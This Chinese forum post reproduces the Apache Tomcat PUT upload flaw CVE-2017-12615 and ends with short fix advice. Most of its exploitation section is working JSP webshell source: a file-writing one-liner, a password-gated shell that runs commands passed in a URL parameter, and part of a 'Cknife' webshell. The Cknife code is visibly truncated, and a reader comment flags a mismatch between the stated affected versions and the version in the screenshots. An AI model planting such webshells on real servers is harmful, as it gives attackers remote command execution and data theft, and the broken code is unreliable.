Tomcat远程代码执行漏洞复现

ajming   ·   发表于 2020-10-27 17:09:39   ·   漏洞文章

一、漏洞介绍
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
漏洞危害:泄露用户代码数据,或用户服务器被攻击者控制。
影响范围:Apache Tomcat 7.0.0 – 7.0.79
二、漏洞代码分析
在阅读conf/web.xml配置文件时,可发现:默认readonly为true,禁止HTTP进行PUT和DELETE类型的请求。
web.xml中readonly设置为false时可以通过PUT/DELETE进行文件操控,漏洞就会触发。
这个CVE漏洞涉及到 DefaultServlet,DefaultServlet作用是处理静态文件,同时DefaultServlet可以处理PUT或DELETE请求
三、漏洞利用
访问网站,并且使用burpsuite进行抓包,发现开启不安全的HTTP方法

使用burpsuite上传shell


发现上传成功


JSP一句话():
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> <% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
保存为1.jsp
提交url为 http://localhost/1.jsp?f=1.txt&;t=hello
访问http://localhost/1.txt 出来hello
木马2 cmd2.jsp:
<% if(023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%>

http://192.168.0.165:8080/cmd2.jsp?pwd=023&i=ls
执行成功


菜刀马:
`<%@page import=”java.io.,java.util.,java.net.,java.sql.,java.text.*”%>
<%!
String Pwd = “Cknife”;
String cs = “UTF-8”;

String EC(String s) throws Exception {
    return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
    String[] x = s.trim().split("choraheiheihei");
    Class.forName(x[0].trim());
    if(x[1].indexOf("jdbc:oracle")!=-1){
        return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
    }else{
        Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
        if (x.length > 4) {
            c.setCatalog(x[4]);
        }
        return c;
    }
}
void AA(StringBuffer sb) throws Exception {
    File k = new File("");
    File r[] = k.listRoots();
    for (int i = 0; i < r.length; i++) {
        sb.append(r[i].toString().substring(0, 2));
    }
}
    } catch (Exception e) {
        sb.append("ERROR" + ":// " + e.toString());
    }
    sb.append("|" + "<-");
    out.print(sb.toString());
}%>`

四、漏洞修复

1、配置readonly值为True或注释参数,禁止使用PUT方法并重启tomcat。
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2、根据官方补丁升级最新版本。

用户名金币积分时间理由
veek 50.00 0 2020-10-28 14:02:02 期待更多干货~~

打赏我,让我更有动力~

1 条回复   |  直到 2020-10-30 | 1153 次浏览

xeel
发表于 2020-10-30

你这个tomcat版本不对吧,你截图中直接是8.5.19的版本,影响范围却是:Apache Tomcat 7.0.0 – 7.0.79

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.